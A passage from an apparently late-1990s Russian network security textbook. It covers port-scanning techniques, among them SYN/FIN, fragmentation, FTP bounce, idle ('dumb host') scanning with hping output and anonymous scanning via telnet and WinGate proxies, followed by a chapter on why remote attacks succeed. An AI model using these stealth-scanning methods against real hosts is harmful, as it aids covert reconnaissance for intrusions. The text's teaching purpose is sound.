iso-tsap 102/tcp tsap # part of ISODE.

csnet-ns 105/tcp cso-ns # also used by CSO name server

csnet-ns 105/udp cso-ns

rtelnet 107/tcp # Remote Telnet

rtelnet 107/udp

pop2 109/tcp postoffice # POP version 2

pop2 109/udp

pop3 110/tcp # POP version 3

pop3 110/udp

sunrpc 111/tcp

sunrpc 111/udp

auth 113/tcp tap ident authentication

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp readnews untp # USENET News Transfer Protocol

ntp 123/tcp

ntp 123/udp # Network Time Protocol

netbios-ns 137/tcp # NETBIOS Name Service

netbios-ns 137/udp

netbios-dgm 138/tcp # NETBIOS Datagram Service

netbios-dgm 138/udp

netbios-ssn 139/tcp # NETBIOS session service

netbios-ssn 139/udp

imap2 143/tcp # Interim Mail Access Proto v2

imap2 143/udp

snmp 161/udp # Simple Net Mgmt Proto

snmp-trap 162/udp snmptrap # Traps for SNMP

cmip-man 163/tcp # ISO mgmt over IP (CMOT)

cmip-man 163/udp

cmip-agent 164/tcp

cmip-agent 164/udp

xdmcp 177/tcp # X Display Mgr. Control Proto

xdmcp 177/udp

nextstep 178/tcp NeXTStep NextStep #NeXTStep window

nextstep 178/udp NeXTStep NextStep # server

bgp 179/tcp # Border Gateway Proto.

bgp 179/udp

prospero 191/tcp # Cliff Neuman’s Prospero

prospero 191/udp

irc 194/tcp # Internet Relay Chat

irc 194/udp

smux 199/tcp # SNMP Unix Multiplexer

smux 199/udp

at-rtmp 201/tcp # AppleTalk routing

at-rtmp 201/udp

at-nbp 202/tcp # AppleTalk name binding

at-nbp 202/udp

at-echo 204/tcp # AppleTalk echo

at-echo 204/udp

at-zis 206/tcp # AppleTalk zone information

at-zis 206/udp

z3950 210/tcp wais # NISO Z39.50 database

z3950 210/udp wais

ipx 213/tcp # IPX

ipx 213/udp

imap3 220/tcp # Interactive Mail Access

imap3 220/udp # Protocol v3

ulistserv 372/tcp # UNIX Listserv

ulistserv 372/udp

# UNIX specific services

exec 512/tcp

biff 512/udp comsat

who 513/udp whod

shell 514/tcp cmd # no passwords used

syslog 514/udp

printer 515/tcp spooler # line printer spooler

talk 517/udp

ntalk 518/udp

route 520/udp router routed # RIP

timed 525/udp timeserver

tempo 526/tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

netnews 532/tcp readnews

netwall 533/udp # -for emergency broadcasts

uucp 540/tcp uucpd # uucp daemon

remotefs 556/tcp rfs_server rfs #Brunhoff remote filesystem

klogin 543/tcp # Kerberized “rlogin” (v5)

kshell 544/tcp # Kerberized “rsh” (v5)

kerberos-adm 749/tcp # Kerberos “kadmin” (v5)

webster 765/tcp # Network dictionary

webster 765/udp

Рассмотрим подробнее процесс подключения к серверному приложению, ожидающему запросы на каком-либо TCP-порту. Данный процесс состоит из двух этапов. На первом этапе клиенту необходимо создать обычное TCP-соединение с указанным TCP-портом сервера. Для этого по схеме, описанной в разделе «Подмена одного из субъектов TCP-соединения в сети Internet», клиент передает на сервер TCP SYN-запрос на необходимый порт.

...

Сокращение TCP SYN означает TCP-пакет с установленным битом SYN.

Если клиент получает ответ на этот запрос (TCP SYN ACK), то порт открыт и TCP-соединение будет создано. Если же ответ за определенный промежуток времени так и не пришел, то это означает, что либо порт закрыт и соответствующий сервер не запущен, либо имеют место физические проблемы со связью с данным IP-адресом (это достаточно легко проверить, используя утилиты ping или traceroute). На втором этапе, после создания TCP-соединения, клиент и сервер обмениваются специфичными для данных приложений командами, создавая соединение уже на уровне приложения (в терминах модели OSI – на прикладном уровне).

Необходимо обратить внимание на то, что первый этап (создание TCP-соединения с указанным портом) является стандартным и абсолютно инвариантным относительно вида серверного приложения, к которому осуществляется подключение. На этой особенности и основаны все методы сетевого сканирования.

Сканированием портов называется метод удаленного анализа, осуществляемый путем передачи тестовых запросов на создание соединения и позволяющий определить список активных служб предоставления удаленного сервиса на каком-либо хосте. Сканирование портов (или разведка) применяется на подготовительной стадии перед атакой, так как позволяет получить необходимые начальные сведения о потенциальном объекте воздействия: список открытых портов, а следовательно, и перечень потенциально атакуемых серверных приложений, загруженных на компьютере.

Все известные на сегодняшний день основные методы сканирования портов в зависимости от возможности определения объектом непосредственного инициатора сканирования (хоста, откуда осуществлялся удаленный анализ) можно разделить на две группы:

1. Методы открытого сканирования: непосредственный инициатор однозначно определяется объектом сканирования по IP-адресу приходящих запросов.

2. Методы «невидимого» анонимного сканирования. Непосредственный инициатор не определяется объектом сканирования (однозначно определяется только «промежуточный» источник сканирующих запросов), таким образом, гарантируется анонимность инициатора сканирования.

Методы открытого сканирования

Сканирование TCP SYN

Очевидный метод, основанный на принципах создания TCP-соединения и состоящий в последовательной передаче на объект сканирования TCP SYN-запросов на создание соединения на различные порты. Если порт открыт, то на данный сканирующий запрос будет получен ответ TCP SYN ACK; если же порт закрыт – ответом будет TCP RST.

Сканирование TCP FIN

В основу данного метода легли некоторые тонкости реализации протокола TCP в различных сетевых ОС: на передаваемый TCP FIN-запрос закрытые порты отвечают пакетом с флагом RST, а открытые порты данное сообщение игнорируют. Однако сетевые ОС фирмы Microsoft таким методом просканировать не удастся, так как в их реализации протокола TCP передача пакета TCP RST в ответ на подобный запрос не предусмотрена. Детально данный метод описал Уриэль Маймон (Uriel Maimon) в Phrack 49, article 15.

Сканирование с использованием IP-фрагментации

Этот метод служит логическим продолжением предыдущих двух методов, отличаясь от них усложнением задачи обнаружения сканирования. Суть его состоит в разбиении TCP SYN– или TCP FIN-запроса на несколько маленьких IP-фрагментов (минимальный размер поля данных в IP-фрагменте 8 байт, следовательно, TCP SYN-запрос, имеющий минимальный размер 20 байт, можно разбить на три фрагмента). Однако у этого метода сканирования может быть незапланированный побочный эффект: некоторые некорректные реализации TCP/IP, получив подобные маленькие IP-фрагменты, вызывают сбой операционной системы.

Сканирование TAP IDENT

Большинство UNIX-систем по умолчанию используют TAP IDENT сервис на 113-м порту, задача которого заключается в предоставлении удаленным пользователям информации о существующих на сервере в данный момент соединениях. Входными параметрами TAP-сервера являются <localport> (интересующий нас порт сервисной службы на сервере) и <foreignport> (порт клиента, подключившегося к данной службе сервера).

Выходными параметрами TAP-сервера являются сообщения вида <localport>, <foreignport>: USERID: <systemtype>: <conn-info> или <localport>, <foreignport>: ERROR: <errortype>

Пример выходных данных TAP-сервера:

6191 , 23 : USERID : UNIX : joe

6191 , 23 : USERID : MULTICS : StJohns.DODCSC.a

6191 , 23 : USERID : OTHER : StJohns.DODCSC.a

6191 , 23 : USERID : TAC : MCSJ-MITMUL

6191 , 23 : USERID : UNIX : a6X#-Yp,3147,2910

6191 , 23 : USERID : OTHER: wewishyouamerrychristmasand

6191 , 23 : ERROR : NO-USER

Подробнее о выходных данных TAP-сервера вы можете узнать в RFC1413, а мы лишь заметим, что для определения активности одного порта на сервере требуется перебор портов клиента <foreignport> от 1 000 до 65 535, что делает данный метод чрезвычайно неэффективным.

Внимательный читатель, наверное, заметил, что все вышеописанные методы открытого сканирования перечислялись «от простого к сложному». К чему все эти сложности? Ответ очевиден: создатели методов имели вполне понятное желание обойти появляющиеся автоматизированные системы обнаружения сканирования. Поэтому до тех пор, пока не были разработаны все эти методы, имела место «гонка» между системами атаки и системами обнаружения и последовательно появлялись новые (на тот момент) методы сканирования.

Методы «невидимого» анонимного сканирования

Скрытая атака по FTP

Первым методом анонимного сканирования является метод, получивший название FTP Bounce Attack (скрытая атака по FTP). Протокол FTP (RFC 959) имеет ряд, как нам кажется, чрезвычайно интересных и недостаточно описанных функций, одна из которых – возможность создания так называемых «proxy» ftp-соединений с FTP-сервера. Если программная реализация FTP-сервера поддерживает режим proxy, то любой пользователь (и анонимный в том числе) может, подключившись к серверу, создать процесс DTP-server (Data Transfer Process – процесс передачи данных) для передачи файла с этого FTP-сервера на любой другой сервер в Internet. Функциональность данной возможности протокола FTP вызывает некоторое сомнение, так как в обычной ситуации ftp-клиент, подключающийся к серверу, передает и получает файлы либо непосредственно от себя, либо для себя. Представить иной вариант действий, на наш взгляд, достаточно сложно, но, видимо, создатели протокола FTP для его «будущего» развития предусмотрели подобную возможность, которая теперь выглядит несколько архаичной и отнюдь не безопасной.

Эта особенность протокола FTP позволяет предложить метод TCP-сканирования с использованием proxy ftp-сервера, состоящий в следующем: ftp-серверу после подключения выдается команда PORT с параметрами IP-адреса и TCP-порта объекта сканирования. Далее следует выполнить команду LIST, по которой FTP-сервер попытается прочитать текущий каталог на объекте, посылая на указанный в команде PORT порт назначения TCP SYN-запрос. Если порт на объекте открыт, то на сервер приходит ответ TCP SYN ACK и FTP-клиент получает ответы «150» и «226», если же порт закрыт, то ответ будет таким:

425. Can\'t Build Data Connection: Connection Refused (425. Невозможно установить соединение: в соединении отказано).

Далее в цикле FTP-серверу последовательно выдаются команды PORT и LIST и осуществляется сканирование разных портов.

Данный метод вплоть до конца 1998 года был единственным и поистине уникальным методом «невидимого» анонимного сканирования (уникальным он остается и по сей день). Основная проблема взломщиков всегда состояла в невозможности скрыть источник сканирования, так как требовалось получать ответы на передаваемые запросы. Кроме того, в некоторых случаях межсетевой экран (МЭ) мог фильтровать запросы с неизвестных IP-адресов, поэтому данный метод совершил революцию в сканировании, так как, во-первых, позволял скрыть адрес кракера и, во-вторых, давал возможность сканировать контролируемую МЭ подсеть, используя внутренний расположенный за МЭ ftp-сервер.

Приведем список появляющихся при подключении заставок, генерируемых программами реализации FTP-серверов, которые поддерживают режим proxy и на которых данный метод работает.

220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.

220 xxx.xxx.xxx.edu FTP server ready.

220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.

220 lem FTP server (SunOS 4.1) ready.

220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.

220 elios FTP server (SunOS 4.1) ready

Следующие версии реализации FTP не поддерживают proxy, и метод соответственно не работает.

220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.

220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7

220 ftp Microsoft FTP Service (Version 3.0).

220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.

220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

Санирование с использованием «немого» хоста

Сальвадор Санфилиппо (Salvatore Sanfilippo) из Intesis Security Lab впервые заявил об этом методе 18 декабря 1998 года в конференции BUGTRAQ. Оригинальное название метода Dumb host scan переводится как «сканирование с использованием «немого» хоста». Основные положения, лежащие в основе метода (рис. 5.1), состоят в следующем:

Рис. 5.1. Сканирование методом Dumb host scan с открытым (слева) и закрытым (справа) портом Х на хосте С

• хост отвечает на TCP SYN-запрос TCP SYN ACK, если порт открыт; и TCP RST, если порт закрыт; • существует возможность узнать количество пакетов, переданных хостом, по параметру ID в заголовке IP;

...

С каждым переданным пакетом значение ID в заголовке IP-пакета обычно увеличивается на 1.

• хост отвечает TCP RST на TCP SYN ACK и ничего не отвечает на TCP RST.

...

Естественно, это происходит только в случае «неожиданного» прихода таких пакетов (при ip spoofing, например).

Рассмотрим, как работает данный метод.

Пусть X-Hacker – хост атакующего, откуда осуществляется сканирование, объект В – «тихий» хост (обычный хост, который не будет передавать пакеты, пока происходит сканирование хоста C; таких хостов вполне достаточно в Internet), а хост C – объект сканирования. Хост X-Hacker при помощи, например, утилиты hping контролирует число исходящих от хоста B пакетов по ID из заголовка IP, имеющего вид:

#hping B -r

HPING B (eth0 194.94.94.94): no flags are set, 40 data bytes

60 bytes from 194.94.94.94: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms

60 bytes from 194.94.94.94: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms

60 bytes from 194.94.94.94: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms

60 bytes from 194.94.94.94: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms

60 bytes from 194.94.94.94: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms

60 bytes from 194.94.94.94: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms

Как видно, ID увеличивается с каждым пакетом на 1, следовательно, хост B – именно тот «тихий» хост, который нужен кракеру. X-Hacker посылает TCP SYN-запрос на порт X хоста С от имени B (автор метода предлагает для этого использовать утилиту hping с его сайта http://www.kyuzz.org/antirez, но можно применять и любые другие программные средства). Если порт X хоста C открыт, то хост C пошлет на хост B ответ TCP SYN ACK (хост C не может знать, что этот пакет на самом деле пришел от X-Hacker). В этом случае объект B в ответ на TCP SYN ACK ответит на C пакетом TCP RST. Если атакующий пошлет на C определенное количество TCP SYN от имени хоста B, то B, получив несколько TCP SYN ACK, ответит столькими же TCP RST, и на хосте X-Hacker будет видно, что B посылает пакеты, следовательно, порт X открыт. Выглядит это следующим образом:

60 bytes from 194.94.94.94: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms

60 bytes from 194.94.94.94: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms

60 bytes from 194.94.94.94: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms

60 bytes from 194.94.94.94: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms

60 bytes from 194.94.94.94: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms

60 bytes from 194.94.94.94: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms

Порт открыт!

В том случае, если порт X хоста C закрыт, то передача на C нескольких TCP SYN-пакетов от имени B вызовет ответный пакет TCP RST. Хост B, получив от хоста C такой пакет, проигнорирует его. Выглядит это так:

60 bytes from 194.94.94.94: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms

60 bytes from 194.94.94.94: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms

60 bytes from 194.94.94.94: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms

60 bytes from 194.94.94.94: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms

60 bytes from 194.94.94.94: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms

60 bytes from 194.94.94.94: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms

Порт закрыт!

Сканирование через proxy-сервер

Еще один метод или, скорее, способ сканирования объекта, при котором можно остаться анонимным, – сканирование с использованием промежуточного хоста (или цепочки хостов, что еще более надежно). В данном случае предлагаем действовать следующими двумя способами.

Первый способ состоит в использовании анонимных Free Telnet Account (свободный Telnet-доступ) которых в Internet довольно много. При помощи telnet можно, подключившись к данному хосту, от его имени вести сканирование любого хоста в Internet. Для этого пишется небольшой скрипт, который, последовательно изменяя порт назначения, будет выдавать следующую команду: telnet Scan_Host_Name Target_TCP_Port.

Если порт закрыт, telnet вернет сообщение Connection Refused (В соединении отказано) или не вернет ничего. Если же порт открыт, появится заставка соответствующей службы.

Второй способ заключается в использовании любимых всеми кракерами WinGate-серверов. WinGate – это обычная proxy-программа, позволяющая через сервер такого типа выходить в Internet, где можно найти немало WinGate-серверов, администраторы которых разрешают анонимное подключение к ним с любых IP-адресов. Это приводит к тому, что кракер получает прекрасный промежуточный хост, от имени (с IP-адреса) которого, используя различные прикладные службы (telnet, ftp и т. д.), он может вести работу с любыми объектами в Internet, сохраняя при этом полную и столь желанную для него анонимность. WinGate-сервер можно использовать для сканирования по той же «telnet-методике», которая описана выше.

В заключение хотелось бы отметить неадекватную, на наш взгляд, реакцию многих сетевых администраторов, обнаруживших сканирование их сетей: обычно реакция на него практически ничем не отличается от реакции на уже осуществленное воздействие. Да, безусловно, удаленный анализ может являться предвестником атаки, но может и не являться. Сам же по себе он не причиняет никакого вреда и не наносит никакого ущерба объекту. Кроме того, описанные выше методы позволяют взломщику скрыть свой IP-адрес и подставить вместо себя ничего не подозревающего администратора хоста, от имени которого осуществлялось сканирование. Следовательно, обвинять кого-то в попытке сканирования бессмысленно: во-первых, это не атака, а, во-вторых, доказать злой умысел из-за методов «невидимого» сканирования невозможно.

В 1996 году произошел небольшой инцидент, связанный с нашей попыткой сканирования одной из подсетей. Желая узнать, что за хосты находятся в нашей подсети, мы воспользовались последней версией программы SATAN (см. главу 9). В результате наша невинная попытка сканирования была обнаружена бдительным администратором одного из хостов, принадлежащих, видимо, какой-то спецслужбе, и мы получили гневные письма с угрозами скорой хакерской расправы и фразами типа: «Хакер являлся пользователем root и действовал с такого-то хоста». Было довольно смешно читать подобные гневные письма и объяснять, что если бы у нас был злой умысел (хотя откуда он мог взяться?), то уж, наверное, мы бы сделали так, чтобы нас невозможно было вычислить.

Несмотря на то, что эта история довольно старая, но, на наш взгляд, очень поучительная, так как и на сегодняшний день вряд ли что-либо в данной области принципиально изменилось, и сканирование до сих пор многими приравнивается к атаке. Поэтому все желающие осуществлять сканирование должны быть готовы к подобной неадекватной реакции сетевых администраторов.

Глава 6 Причины успеха удаленных атак

«То, что изобретено одним человеком, может быть понято другим», – сказал Холмс.
А. Конан Дойл. Пляшущие человечки

В двух предыдущих главах было показано, что общие принципы построения распределенных ВС позволяют выделить целый класс угроз, характеризующих только распределенные системы. Было введено такое понятие, как типовая угроза безопасности, предложены описание, характеристика, классификация и модели основных типов угроз. Все это позволяет говорить о практической методике исследования безопасности РВС, основой которой является последовательное осуществление угроз всех типов в соответствии с разработанными моделями их реализации. В этой главе подробно рассматриваются основные причины успеха угроз безопасности РВС. Наша цель состоит в том, чтобы сформулировать те принципы и требования, которые ликвидировали бы причины успеха угроз и на основе которых было бы возможно построение распределенной ВС с защищенным сетевым взаимодействием ее удаленных компонент.

Причины успеха угроз безопасности РВС

Анализ механизмов реализации типовых угроз безопасности РВС (глава 3) и их практическое осуществление на примере сети Internet (глава 4) позволили сформулировать причины, по которым реализация данных угроз оказалась возможной. Особо отметим, что рассмотренные ниже причины основываются на базовых принципах построения сетевого взаимодействия объектов распределенной ВС.

Для устранения причин атак на инфраструктуру и базовые протоколы сети (см. главу 4) зачастую необходимо либо отказаться от определенных служб (например, DNS), либо изменить конфигурацию системы (наличие широковещательной среды приводит к возможности программного прослушивания канала), либо изменить систему в целом. Причины успеха таких удаленных атак кроются в инфраструктуре распределенной ВС, поэтому создание систематизации причин их успеха представляется весьма важной задачей, решение которой позволит выработать принципы построения защищенного взаимодействия в РВС.

Итак, рассмотрим возможные причины успеха угроз, направленных на инфраструктуру и базовые протоколы распределенных ВС.

Отсутствие выделенного канала связи

В главе 3 была рассмотрена типовая удаленная атака «анализ сетевого трафика». Напомним, что данная атака заключается в прослушивании канала передачи сообщений в сети. Результат этого воздействия – во-первых, выяснение логики работы распределенной ВС и, во-вторых, перехват потока информации, которой обмениваются объекты системы. Такая атака программно возможна только в случае, если кракер находится в сетис физически широковещательной средой передачи данных, как, например, всем известная среда Ethernet (в отличие от Token Ring, которая не является широковещательной, но и не имеет достаточного распространения). Очевидно, что данное воздействие было бы невозможно, если бы у каждого объекта системы для связи с любым другим объектом имелся выделенный канал (вариант физического прослушивания такого канала не рассматривается, так как без специфических аппаратных средств подключение к нему невозможно).

Следовательно, причина успеха данной типовой атаки – наличие широковещательной среды передачи данных или отсутствие выделенного канала связи между объектами РВС.

Недостаточные идентификация и аутентификация

Как уже подчеркивалось, проблема идентификации и аутентификации субъектов и объектов РВС имеет чрезвычайно важное значение. От ее решения зависит безопасность распределенной ВС в целом. Примеры успешно осуществленных удаленных атак, рассмотренные в предыдущих главах, доказывают, что отсутствие у разработчиков заранее определенной концепции и принципов идентификации объектов РВС оставляют кракеру потенциальную возможность компрометации объектов системы. Стандартными способами компрометации субъектов и объектов РВС являются:

• выдача себя за какой-либо объект или субъект с присвоением его прав и полномочий для доступа в систему (например, типовая угроза «подмена доверенного субъекта или объекта РВС»);

• внедрение в систему ложного объекта, выдающего себя за доверенный объект системы (например, типовая угроза «ложный объект РВС»).

Взаимодействие объектов без установления виртуального канала

Одним из важнейших вопросов, на которые необходимо ответить, говоря об идентификации и аутентификации объектов и субъектов РВС, является вопрос о видах взаимодействия между субъектами и объектами в распределенной ВС. Как отмечалось в главе 3, взаимодействие между субъектами и объектами РВС бывает двух видов:

• с использованием виртуального канала;

• без использования виртуального канала.

Практика показывает, что 99 % взаимодействий между объектами в сети Internet проходит с установлением такого канала (при любом FTP, TELNET-, HTTP-и т. п. подключении используется протокол TCP, а следовательно, создается ВК). Это происходит потому, что взаимодействие по виртуальному каналу является единственным динамическим способом защиты сетевого соединения объектов РВС: в процессе создания ВК объекты РВС обмениваются динамически вырабатываемой ключевой информацией, позволяющей уникально идентифицировать канал. В противном случае для распознавания объектов распределенной системы пришлось бы использовать массив статической идентификационной информации, уникальный для каждого объекта. А это означает, что мы получаем стандартную проблему статического распределения ключей (матрица №N), которая решается только на ограниченном подмножестве объектов, но не в Internet.

Итак, мы показали, что идентификация объектов РВС при отсутствии статической ключевой информации возможна только при взаимодействии объектов с использованием виртуального канала. Следовательно, взаимодействие без установления ВК является одной из возможных причин успеха удаленных атак на РВС.

Однако ошибочно считать распределенную вычислительную систему безопасной, даже если все взаимодействие объектов происходит с созданием ВК. Об этом речь пойдет в следующем разделе.

Использование нестойких алгоритмов идентификации

К сожалению, взаимодействие объектов по виртуальному каналу в распределенной ВС не является панацеей от всех проблем, связанных с идентификацией объектов РВС. ВК – необходимое, но не достаточное условие безопасного взаимодействия. Чрезвычайно важным в данном случае становится выбор алгоритма идентификации при создании виртуального канала. Основное требование, предъявляемое к этим алгоритмам, состоит в следующем: перехват ключевой информации, которой обмениваются объекты РВС при создании ВК, не должен позволить атакующему получить итоговые идентификаторы канала и объектов (см. раздел «Причины успеха удаленных атак в сети Internet»). Однако в базовых алгоритмах идентификации, используемых при создании ВК в большинстве существующих сетевых ОС, это требование практически не учитывается. Так, например, в ОС Novell NetWare 3.12-4.1 идентификатор канала – число в диапазоне 0-FFh, идентификатор объекта (рабочей станции или файл-сервера) – также число от 0 до FFh; в протоколе TCP идентификаторами канала и объектов являются два 32-битных числа, формируемых в процессе создания TCP-соединения (см. раздел «Подмена одного из субъектов TCP-соединения в сети Internet»).

Очевидно, что создание виртуального канала с использованием нестойкого алгоритма идентификации не позволяет надежно обезопасить РВС от подмены объектов взаимодействия и выступает в качестве одной из причин успеха удаленных атак на распределенные вычислительные системы.

Отсутствие контроля за виртуальными каналами связи

Объекты распределенной ВС, взаимодействующие по виртуальным каналам, могут подвергаться типовой атаке «отказ в обслуживании». Особенность этого воздействия состоит в том, что, действуя абсолютно легальными средствами системы, можно удаленно добиться нарушения ее работоспособности. Напомним, что данная угроза реализуется при помощи передачи множественных запросов на создание соединения (виртуального канала), в результате чего переполняется очередь запросов, либо система, занятая обработкой ответов на запросы, вообще перестает функционировать. В чем причина успеха данной атаки? В отсутствии необходимого контроля над соединением. При этом задача контроля распадается на две подзадачи:

• контроль за созданием соединения;

• контроль за использованием соединения.

Если пути решения второй задачи понятны – обычно соединение разрывается по тайм-ауту, определенному системой, – так сделано во всех известных сетевых ОС (однако тут возникает серьезная проблема выбора конкретного значения тайм-аута), то контроль за созданием ВК достаточно сложен: в системе, где отсутствует статическая ключевая информация обо всех ее объектах, невозможно отделить ложные запросы на создание соединения от настоящих. Очевидно также, что если один субъект сетевого взаимодействия будет иметь возможность анонимно занимать неограниченное число каналов связи с удаленным объектом, то подобная система может быть полностью парализована данным субъектом (пример – существующая сеть Internet в стандарте IPv4). Таким образом, если любой объект в распределенной системе способен анонимно послать сообщение от имени другого объекта (например, в Internet маршрутизаторы не проверяют IP-адрес отправителя), то в подобной распределенной ВС практически невозможен контроль за созданием виртуальных соединений. Поэтому основная причина типовой угрозы «отказ в обслуживании» – это отсутствие приемлемого решения задачи контроля за маршрутом сообщений.

Отсутствие возможности контролировать маршрут сообщений

В распределенных ВС в качестве начальной информации, идентифицирующей объект, обычно выступает его адрес. Под адресом объекта понимается определенная системой уникальная информация, которой он наделяется при занесении в РВС. Теперь все сообщения от других объектов РВС, посланные на этот адрес, поступят на данный объект. Путь, или, как принято говорить, маршрут сообщения, определяется топологией РВС и проходит через совокупность узлов – маршрутизаторов (роутеров). Следовательно, в каждом приходящем на объект пакете может быть полностью описан его маршрут – список адресов маршрутизаторов, пройденных на пути к адресату. Такой отмеченный в пакете маршрут станет информацией, аутентифицирующей (подтверждающей) с точностью до подсети подлинность адреса отправителя (эта идея уже реализована в системе электронной почты, использующей протокол SMTP). Другой вариант аутентификации данного адреса – фильтрация маршрутизатором пакетов с неверным адресом.

Если в РВС не предусмотреть подобного контроля за маршрутом сообщения, то адрес отправителя сообщения оказывается ничем не подтвержденным. Таким образом, в системе будет существовать возможность работы от имени любого объекта путем указания в заголовке сообщения чужого адреса отправителя (IP Spoofing). В подобной РВС затруднительно определить, откуда на самом деле пришло сообщение, а следовательно – вычислить координаты атакующего (в Internet невозможно найти инициатора однонаправленной удаленной атаки).

Следовательно, отсутствие в распределенной ВС возможности контролировать маршрут сообщений также является причиной успеха удаленных атак на РВС, во-первых, из-за сложности контроля за созданием соединений и, во-вторых, из-за возможности анонимной отправки сообщения.

Отсутствие полной информации об объектах РВС

В распределенной системе с разветвленной структурой, состоящей из большого числа объектов, может возникнуть ситуация, когда для доступа к определенному хосту у субъекта взаимодействия не окажется необходимой информации, то есть адреса данного объекта.

Поясним это на простом примере. Предположим, что пользователь сети Internet решил подключиться, например, к WWW-серверу фирмы Novell. Он знает ее название, но не имеет информации об IP-адресе или имени ее сервера. В этом случае пользователь может послать широковещательный запрос всем хостам в сети, надеясь, что интересующий его сервер пришлет искомый адрес. Очевидно, что в глобальной сети использование данной схемы, по меньшей мере, неразумно. Поэтому пользователь может подключиться к ближайшему известному ему поисковому серверу (например, www.altavista.com), чтобы запросить адрес интересующей его фирмы.

Итак, возможны следующие алгоритмы удаленного поиска. В первом случае, когда такой поиск осуществляется внутри сегмента сети, субъект системы посылает широковещательный запрос, который получают все объекты РВС, и тот из них, для кого предназначалось сообщение, передает в ответ необходимую для адресации информацию. Во втором случае, когда необходимо осуществить глобальный поиск, субъект распределенной системы посылает запрос на ближайший информационно-поисковый сервер, который, просканировав свою базу, либо отошлет в ответ на запрос найденный адрес, либо обратится к следующему в системе поисково-информационному серверу. Таким образом, если в распределенной ВС существуют объекты, информация о которых изначально не определена, то для обеспечения нормального функционирования системы необходимо использовать описанные выше алгоритмы удаленного поиска.

Примером РВС с заложенной неопределенностью является сеть Internet, в которой, во-первых, у хостов, находящихся в одном сегменте, может не быть информации об аппаратных адресах друг друга и, во-вторых, применяются не пригодные для непосредственной адресации мнемонические имена хостов.

Очевидно, что в системе подобного типа существует потенциальная опасность внесения ложного объекта и выдачи одного объекта за другой путем передачи ложного ответа на поисковый запрос.

Отсутствие криптозащиты сообщений

В распределенных ВС связь между объектами системы осуществляется по виртуальным каналам связи, а следовательно, кракер имеет принципиальную возможность прослушать канал, получив несанкционированный доступ к информации, которой обмениваются по сети ее абоненты. Если эта информация не зашифрована, то возникает угроза атаки типа «анализ сетевого трафика».

Использование криптостойких алгоритмов шифрования пакетов обмена между объектами РВС на канальном (что обычно выполняется аппаратно и на сегодняшний день редко встречается в обычных сетях) и прикладном уровнях OSI делает сетевой анализ практически бессмысленным. Если в сети используются алгоритмы шифрования пакетов на сетевом – прикладном уровнях, то шифрование применяется только к полям данных пакетов соответствующих уровней, но не к их заголовкам; таким образом, атакующий, перехватив пакет, может подвергнуть анализу полученную служебную информацию.

Причины успеха удаленных атак в сети Internet

Internet представляет собой распределенную вычислительную систему, инфраструктура которой общеизвестна и хорошо описана. Поэтому рассмотренные в предыдущем разделе причины успеха удаленных атак на РВС можно спроецировать на Internet и сделать вывод о существовании в данной Сети серьезных пробелов в обеспечении безопасности. Внимательный читатель, изучая предыдущие разделы, уже, наверное, мысленно осуществил подобную проекцию и обратил внимание на то, как недостатки, присущие абстрактной распределенной ВС, легко обнаруживаются в реальной РВС – Internet.

Отсутствие выделенного канала связи между объектами сети Internet

Глобальная сеть не может быть построена по принципу прямой связи между объектами, поскольку для каждого объекта невозможно обеспечить выделенный канал связи с любым другим объектом. Поэтому в Internet связь осуществляется через цепочку маршрутизаторов, а следовательно, сообщение, проходя через большое количество промежуточных подсетей, может быть перехвачено. Также к Internet подключено большое число локальных Ethernet-сетей, использующих топологию «общая шина»; в сетях с такой топологией несложно программно осуществлять перехват сообщений. Однако данный недостаток присущ скорее не Internet, а Ethernet.

Недостаточные идентификация и аутентификация

В базовых протоколах обмена идентификация и аутентификация объектов практически отсутствуют. Так, например, в прикладных протоколах FTP, TELNET, POP3 имена и пароли пользователей передаются по сетив виде открытых незашифрованных сообщений (см. главу 4). В существующем стандарте IPv4 протокол сетевого уровня IP не предусматривает никакой идентификации и аутентификации объектов (за исключением IP-адреса отправителя, подлинность которого, в свою очередь, невозможно подтвердить). Все проблемы с идентификацией разработчики переложили на следующий, транспортный, уровень, за который отвечают протоколы UDP и TCP. Так как протокол UDP не содержит в себе никакой дополнительной идентифицирующей информации, единственным протоколом, призванным обеспечить безопасность в Internet, является TCP, создающий виртуальный канал.

Взаимодействие в сети Internet объектов без установления виртуального канала

Одной из особенностей Internet является взаимодействие объектов без создания виртуального канала. Очевидно, что разработчики планировали подобное взаимодействие в том случае, если обеспечения его безопасности не требуется. Однако и для управляющих ICMP-сообщений, и для DNS-запросов используется связь без ВК, что приводит к возможности осуществления атак, рассмотренных в главе 4.

Использование нестойких алгоритмов идентификации объектов при создании виртуального TCP-соединения

